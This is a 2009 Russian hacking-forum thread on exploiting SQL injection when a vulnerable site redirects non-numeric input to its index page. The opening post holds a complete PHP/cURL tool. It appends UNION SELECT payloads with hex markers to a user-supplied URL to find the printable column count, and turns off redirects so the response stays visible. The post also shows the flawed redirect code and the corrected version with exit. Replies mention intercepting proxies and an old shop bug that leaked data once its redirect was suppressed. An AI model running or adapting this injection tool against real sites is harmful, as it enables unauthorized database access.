ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Переадресация на Index.php при SQL INJ
  #1  
Старый 18.02.2009, 06:23
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию Переадресация на Index.php при SQL INJ

Многие сталкивались с ситуацией когда при SQL инъекции, была переадресация на Index страницу. Решил провести маленький эксперемент, попробывать получать страницу с ответом, без каких либо переадресаций, написал маленький РНР скриптик на скорую руку на cURL'e, т.к. там есть возможность, использовать опцию, да и вообще кУРЛ быстрый и очень удобный инструмент:

Цитата:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
описание:
CURLOPT_FOLLOWLOCATION: При установке этого параметра в ненулевое значение, при получении HTTP заголовка "Location: " будет происходить перенаправление на указанный этим заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка "Location:").

Собсно результат был успешным, скрин:
http://i073.radikal.ru/0902/ab/f85a1ef62a4f.png

сам скриптик:
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>SQLINJ tool</title>
<style type="text/css">
<!--
body {
    background-color: #666633;
}
.style1 {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    color: #999966;
    cursor: crosshair;
    border-top-style: dotted;
    border-right-style: dotted;
    border-bottom-style: dotted;
    border-left-style: dotted;
}
.style2 {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    color: #F4F4F4;
    font-size: 12px;
}
.input {
    background-color: #666633;
}
a:link {
    color: #DDDDDD;
    text-decoration: none;
}
a:visited {
    color: #DDDDDD;
    text-decoration: none;
}
a:hover {
    text-decoration: none;
    color: #CCCC33;
}
a:active {
    text-decoration: none;
    color: #FFFF33;
}
body,td,th {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
}
-->
</style>
</head>

<body>
<div align="center">
  <h1 class="style1">SQLINJ Tool</h1>
  
  
  <p>&nbsp;</p>
  <table width="580" border="1" align="center">
  <form id="form1" name="form1" method="post" action="">
<tr>
      <td width="54" align="center">URL:</td>
      <td width="510"><input name="url" type="text" class="input" size="85" /></td>
</tr>
<tr>
      <td align="center">Columns:</td>
        <td><input name="count_columns" type="text" class="input" size="85" /></td>
</tr>
<tr>
         
      <td colspan="2" align="center"><input name="button" type="submit" class="input" value="go brute" /></td>
</tr>
</form>
</table>
<br />

<?php
set_time_limit
(0);
if(!isset(
$_POST['url'],$_POST['count_columns']))

    exit;
}
$url trim($_POST['url']);
$count_columns trim($_POST['count_columns']);
$ua "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$sql "+UNION+SELECT+0x53714C694E6A5F31";
$work_url $url.$sql;
$work_url_dig $url."+UNION+SELECT+1";
$ref "http://www.rambler.ru/search.php?reklama";
for (
$i=2;$i<$count_columns 2;$i++) 
{
$ch curl_init($work_url);
    
curl_setopt($chCURLOPT_USERAGENT$ua);
    
curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    
curl_setopt($chCURLOPT_COOKIEFILE"./cook");
    
curl_setopt($chCURLOPT_REFERER$ref);
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
$res curl_exec($ch);
if(
preg_match('#SqLiNj\_[0-9]{1,3}#i'$res$matches))
{
    
echo 
'<table width="50%" border="1" align="center"><tr><td>Результат:</td></tr><tr><td>';
echo 
"Найдено соответсвие: ".$matches[0]."<br>";
    echo 
"Хэкс эквивалент колонок :<br>".$work_url."<br>";
    echo 
"Числовой эквивалент колонок :<br>".$work_url_dig."<br>";
    
$count_dig explode("_",$matches[0]);
    echo 
"Принтабельная колонка - <b>".$count_dig[1]."</b>";
    break;
echo 
'</td></tr></table>';
}
    
$work_url .= ",0x".bin2hex("SqLiNj_$i");
    
$work_url_dig .= ",$i";
}
?>
</body>
</html>
Причиной тому является быдлокодинг разработчиков скрипта, работающий по системе - если переменная (к примеру id=1) равна не целочисленомму значению (if(!is_numeric($id))), идет редирект на Индекс (header("Location: http://www.example.com/"); )
Уязвимая часть кода выглядит так:
PHP код:
<?php
$id 
$_GET['id'];
if(!
is_numeric($id))
header("Location: http://www.example.com/");

# Остальная часть скрипта...
?>
Правильнее дописать остановку выполнения остальной части коды/скрипта после условия:
PHP код:
<?php
$id 
$_GET['id'];
if(!
is_numeric($id))
{
header("Location: http://www.example.com/");
exit;
}
# Остальная часть скрипта не грузится...
?>

Последний раз редактировалось b3; 26.02.2009 в 06:39..
 
Ответить с цитированием

  #2  
Старый 18.02.2009, 06:28
Аватар для it's mу
it's mу
Banned
Регистрация: 12.02.2009
Сообщений: 73
Провел на форуме:
175651

Репутация: 171
По умолчанию

сделай скрин поменьше, тянет страницу, пиздец не красиво
 
Ответить с цитированием

  #3  
Старый 18.02.2009, 07:24
Аватар для sboy20042
sboy20042
Reservists Of Antichat - Level 6
Регистрация: 07.07.2007
Сообщений: 642
Провел на форуме:
3241649

Репутация: 1632


По умолчанию

помоему если я не ошибаюсь, в акунетиксе есть http editor который позволяет просматривать ответы сервера без всяких редеректов
__________________
<<<< Смотри на дату моей реги и завидуй!!!
 
Ответить с цитированием

  #4  
Старый 18.02.2009, 20:17
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )
 
Ответить с цитированием

  #5  
Старый 18.02.2009, 20:21
Аватар для LEE_ROY
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

paros proxy скачай, и редактируй ответы-приветы.
 
Ответить с цитированием

  #6  
Старый 19.02.2009, 09:08
Аватар для -m0rgan-
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

Цитата:
Сообщение от Велемир  
Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )
Ну переадресация в основном случается в случае не правильного указания параметра...и это не обязательно фильтрация...
 
Ответить с цитированием

  #7  
Старый 19.02.2009, 12:33
Аватар для LEE_ROY
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

была когда-то бага в шопе каком-то, при ответе сервера о неверности пасворда он слал в хиедере - location:index.php, так вот через парос прокси этот ответ прибивался до обработки его браузером, и мы оставались на той же странице, с возможностью просмотра конфиденциальной информации. Из чего следует, что парос - это не инет крак, он позволяет эдитить ответы-приветы ДО их обработки браузером, что иногда очень полезно. есть еще плуг к лисе подобный.
 
Ответить с цитированием

  #8  
Старый 22.02.2009, 04:49
Аватар для [dei]
[dei]
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме:
1123418

Репутация: 362
Отправить сообщение для [dei] с помощью ICQ
По умолчанию

юзать сниффер уже не в моде? омг
 
Ответить с цитированием

  #9  
Старый 22.02.2009, 04:55
Аватар для AkyHa_MaTaTa
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

Цитата:
Сообщение от b3  
ИМХО ето именно и есть та фильтрация, выглядит примерно так:
PHP код:
if(!is_numeric($id))
{
header("Location: http://site/index.php"); 

А так как нам пофигу на переадресации, мы грузим страницу с иньекцией.
Ну вобше в более менее нормальном приложении должно идти остановка скрипта после переадресации
:
PHP код:
if(!is_numeric($id))
{
header("Location: http://site/index.php"); 
die;
//exit

это относительно нечастые случаи(когда нету остановки выполнения скрипта) но все же случаються,а за старание + однозначно.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ